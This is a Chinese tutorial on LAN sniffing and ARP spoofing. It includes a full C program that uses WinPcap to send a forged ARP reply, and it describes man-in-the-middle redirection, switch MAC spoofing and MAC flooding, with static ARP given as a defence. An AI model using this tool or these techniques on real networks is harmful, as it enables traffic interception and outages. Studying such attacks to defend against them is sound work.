以太網內的嗅探（sniff）對于 網絡安全 來說并不是什么好事，雖然對于網絡管理員能夠跟蹤數據包并且發現網絡問題，但是如果被破壞者利用的話，就對整個網絡構成嚴重的安全威脅。至于嗅探的好處和壞處就不羅嗦了。 ARP緩存表 假設這樣一個網絡： ——————
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以太網內的嗅探（sniff）對于網絡安全來說并不是什么好事，雖然對于網絡管理員能夠跟蹤數據包并且發現網絡問題，但是如果被破壞者利用的話，就對整個網絡構成嚴重的安全威脅。至于嗅探的好處和壞處就不羅嗦了。
ARP緩存表
假設這樣一個網絡：
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| HUB |
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HostA HostB HostC
其中
A的地址為：IP：192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址為：IP：192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址為：IP：192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
假設B是屬于一個嗅探愛好者的，比如A機器的ARP緩存：
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 CC-CC-CC-CC-CC-CC dynamic |
這是192.168.10.1機器上的ARP緩存表，假設，A進行一次ping 192.168.10.3操作，PING主機C，會查詢本地的
ARP緩存表，找到C的IP地址的MAC地址，那么就會進行數據傳輸，目的地就是C 的MAC地址。如果A中沒有C的ARP記
錄，那么A首先要廣播一次ARP請求，當C接收到A 的請求后就發送一個應答，應答中包含有C的MAC地址，然后A接
收到C的應答，就會更新本地的ARP緩存。接著使用這個MAC地址發送數據（由網卡附加MAC地址）。
因此，本地高速緩存的這個ARP表是本地網絡流通的基礎，而且這個緩存是動態的。
集線器網絡(Hub-Based)
很多網絡都是用Hub進行連接的。數據包經過Hub傳輸到其他計算機的時候，Hub只是簡單地把這個數據包廣播
到Hub的所有端口上。
這就是上面舉例中的一種網絡結構。
現在A需要發送TCP數據包給C。首先，A需要檢查本地的ARP 緩存表，查看是否有IP為192.168.10.3即C的ARP記
錄，如果沒有那么A將要廣播一個ARP請求，當C接收到這個請求后，就作出應答，然后A更新自己的ARP緩存表。并
且獲得與C的IP相對應的MAC地址。這時就傳輸這個TCP數據包，Ethernet幀中就包含了C的MAC地址。當數據包傳輸
到HUB的時候，HUB直接把整個數據包廣播到所有的端口，然后C就能夠接收到A發送的數據包。
正因為HUB把數據廣播到所有的端口，所以計算機B也能夠收到A發送給C的數據包。這正是達到了B嗅探的目的。
因此，Hub-Based的網絡基本沒有安全可言，嗅探在這樣的網絡中非常容易。
交換網絡（Switched Lan）
交換機用來代替HUB，正是為了能夠解決HUB的幾個安全問題，其中就是能夠來解決嗅探問題。Switch不是把數
據包進行端口廣播，它將通過自己的ARP緩存來決定數據包傳輸到那個端口上。因此，在交換網絡上，如果把上面
例子中的HUB換為Switch，B就不會接收到A發送給C的數據包，即便設置網卡為混雜模式，也不能進行嗅探。
ARP欺騙（ ARP spoofing）
ARP協議并不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候，就會對本地的ARP緩存
進行更新，將應答中的IP和MAC地址存儲在ARP緩存中。因此，在上面的假設網絡中，B向A發送一個自己偽造的ARP應
答，而這個應答中的數據為發送方IP地址是192.168.10.3（C的IP地址），MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地
址本來應該是CC-CC-CC-CC-CC-CC，這里被偽造了）。當A接收到B偽造的ARP應答，就會更新本地的ARP緩存（A可不
知道被偽造了）。
現在A機器的ARP緩存更新了：
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 DD-DD-DD-DD-DD-DD dynamic |
這可不是小事。局域網的網絡流通可不是根據IP地址進行，而是按照MAC地址進行傳輸?，F在192.168.10.3的
MAC地址在A上被改變成一個本不存在的MAC地址?，F在A開始Ping 192.168.10.3，網卡遞交的MAC地址是
DD-DD-DD-DD-DD-DD，結果是什么呢？網絡不通，A根本不能Ping通C??！
這就是一個簡單的ARP欺騙。
我們來實現這樣的ARP欺騙。這里需要使用一個WinPcap提供的API和驅動。（http://winpcap.polito.it/）
winpcap是一個偉大而且開放的項目。Windows環境下的nmap、snort、windump都是使用的winpcap。
///////////////////////////////////////////////////////
//
// ARP Sender
//
// Creator: Refdom
// Email: refdom@263.net
// Home Page: www.opengram.com
//
// 2002/4/7
//
///////////////////////////////////////////////////////
#include "stdafx.h"
#include "Mac.h"
//GetMacAddr()，我寫的把字符串轉換為MAC地址的函數，就不列在這里了
#include
#include
#define EPT_IP0x0800/* type: IP*/
#define EPT_ARP0x0806/* type: ARP */
#define EPT_RARP0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */
#defineARP_REQUEST0x0001/* ARP request */
#defineARP_REPLY0x0002/* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned chareh_dst[6];/* destination ethernet addrress */
unsigned chareh_src[6];/* source ethernet addresss */
unsigned shorteh_type;/* ethernet pachet type*/
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned shortarp_hrd;/* format of hardware address */
unsigned shortarp_pro;/* format of protocol address */
unsigned chararp_hln;/* length of hardware address */
unsigned chararp_pln;/* length of protocol address */
unsigned shortarp_op;/* ARP/RARP operation */
unsigned chararp_sha[6];/* sender hardware address */
unsigned longarp_spa;/* sender protocol address */
unsigned chararp_tha[6];/* target hardware address */
unsigned longarp_tpa;/* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];
LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR*temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;
//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");
//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一個網卡（假設啦）
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。（A的地址）
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//偽造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目標A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標A的IP地址
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);
if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in
a single write!\n");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}
printf ("Send ok!\n");
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
} |
于是A接收到一個被偽造的ARP應答。A被欺騙了??！倘若在局域網中看某某機器不順眼，……
以太網中的嗅探太有作用了，但是交換網絡對嗅探進行了限制，讓嗅探深入程度大打折扣。不過，很容易就能
夠發現，主機、Switch（動態更新地址表類型，下同）中的緩存表依然是（主要是）動態的。要在一個交換網絡中
進行有效的嗅探工作（地下黨？），需要采用對付各種緩存表的辦法，連騙帶哄，甚至亂踹，在上面的ARP欺騙基礎
中我們就能夠做到。
對目標進行ARP欺騙
就象上面程序中實現的一樣，對目標A進行欺騙，A去Ping主機C卻發送到了DD-DD-DD-DD-DD-DD這個地址上。如
果進行欺騙的時候，把C的MAC地址騙為BB-BB-BB-BB-BB-BB，于是A發送到C上的數據包都變成發送給B的了。這不正
好是B能夠接收到A發送的數據包了么，嗅探成功。
A對這個變化一點都沒有意識到，但是接下來的事情就讓A產生了懷疑。因為A和C連接不上了??！B對接收到A發送
給C的數據包可沒有轉交給C。
做“man in the middle”,進行ARP重定向。打開B的IP轉發功能，A發送過來的數據包，轉發給C，好比一個路由
器一樣。不過，假如B發送ICMP重定向的話就中斷了整個計劃。
直接進行整個包的修改轉發，捕獲到A發送給的數據包，全部進行修改后再轉發給C，而C接收到的數據包完全認為
是從A發送來的。不過，C發送的數據包又直接傳遞給A，倘若再次進行對C的ARP欺騙?，F在B就完全成為A與C的中間橋
梁了。
對Switch的MAC欺騙
Switch上同樣維護著一個動態的MAC緩存，它一般是這樣，首先，交換機內部有一個對應的列表，交換機的端口對
應MAC地址表Port n <-> Mac記錄著每一個端口下面存在那些MAC地址，這個表開始是空的，交換機從來往數據幀中學
習。舉例來說，當Port 1口所接的計算機發出了一個數據幀，這幀數據從Port 1進入交換機，交換機就取這個數據幀
的原MAC地址AAAA，然后在地址表中記錄：Port 1 <-> AAAA, 以后，所有發向MAC地址為AAAA的數據幀，就全從Port 1
口輸出，而不會從其它的口輸出。
跟前面對目標進行欺騙相類似。如果把Switch上的MAC-PORT表修改了，那么對應的MAC和PORT就一樣跟著改變，本來
不應該發送到嗅探器的數據結果發送過來了，這樣也達到了嗅探的目的。修改本地（B）發送的數據包MAC地址為原來A的
MAC地址，當經過交換機的時候，交換機發現端口B對應的地址是機器A的MAC地址，于是就將會把A的MAC地址同端口B相對
應，從而把發送給A的數據從端口B傳輸了，本來這些應該是傳送到端口A的。因此，從機器B就能夠獲得發送給A的數據。
但是，這里有一個問題，A將接收不到數據了。嗅探不目的并不是要去破壞正常的數據通訊。同時，從剛才的欺騙中，
讓交換機中一個MAC地址對應了多個端口，這種對于交換機處理還不清楚。還請多指教。
對Switch進行Flood
就象上面介紹Switch的MAC和Port對應關系形成的原理，因為MAC-PORT緩存表是動態更新的，那么讓整個Switch的端
口表都改變，對Switch進行MAC地址欺騙的Flood，不斷發送大量假MAC地址的數據包，Switch就更新MAC-PORT緩存，如果
能通過這樣的辦法把以前正常的MAC和Port對應的關系破壞了，那么Switch就會進行泛洪發送給每一個端口，讓Switch基
本變成一個HUB，向所有的端口發送數據包，要嗅探的目的一樣能夠達到。
存在的問題，Switch對這種極限情況的處理，因為屬于不正常情況，可能會引起包丟失情況。而且現在對這種極限情
況的Switch狀態還很不了解。如果對網絡通訊造成了大的破壞，這不屬于正常的嗅探（嗅探也會引起一些丟失）。
對Switch進行各種手段的操作，需要小心，如果打開了端口保護，那么可能會讓交換機關閉所有用戶。因此，對交換
機這樣的設備進行欺騙或者其他操作，還不如對一些上級設備進行欺騙，比如目標主機或者路由器。
至于上面關于嗅探的手段都是基于這個動態表進行的。因此，使用靜態的ARP就能夠進行防范了。對于WIN，使用
arp -s 來進行靜態ARP的設置。
感謝winpcap這個開放項目，也感謝Dancefire提供的大量幫助和指正。我在網絡設備上的了解還很不夠，還請多指正。
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